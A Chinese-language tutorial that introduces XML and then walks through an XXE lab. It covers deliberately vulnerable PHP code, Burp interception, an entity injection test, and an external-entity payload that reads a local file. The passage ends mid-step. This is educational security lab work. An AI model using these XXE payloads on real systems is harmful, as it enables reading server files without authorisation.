一、XML简介
1.XML
指可扩展标记语言(eXtensible Markup Language)。
XML 被设计用来传输和存储数据。
2.一个 XML 文档实例
<?xml version="1.0" encoding="UTF-8"?>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
第一行是 XML 声明。它定义 XML 的版本(1.0)和所使用的编码(UTF-8 : 万国码, 可显示各种语言)。
下一行描述文档的根元素(像在说:"本文档是一个便签"):
<note>
接下来 4 行描述根的 4 个子元素(to, from, heading 以及 body):
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
最后一行定义根元素的结尾:
</note>
从这个实例中,XML 文档包含了一张 Jani 写给 Tove 的便签。
二、XEE实验
1.进入xee页面
2.查看其源代码
通过POST请求,去获取前端的下xml数据,获取后就会传到simplexml_load_string()这个函数,如果PHP的版本大于2.9.0的话,这个函数是默认禁止的,但在这里,他为了制造一个漏洞,就通过LIBXML_NOENT这个函数开启了外部实体来构造XXE漏洞。也就是说,在这个漏洞中,把xml数据传给simplexml_load_string(),这个函数就会对数据的外部实体内容进行解析,然后再返回给前端。
3.对其代理,burp抓包
4.发现提交的数据使用了xml格式,初步判断存在漏洞
当在输入
<?xml version = "1.0"?>
<!DOCTYPE note [
<!ENTITY hacker "XXE!!!">
]>
<name>&hacker;</name>
时,发现可以注入
5.构造一个payload,通过外部实体获取后台数据库的本地信息
先在本机g硬盘创建一个kokokoko的111.txt文件,再编写一个payload
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///g://111.txt" >]>
<value>&xxe;</value>
将payload输入对话框,得到如下: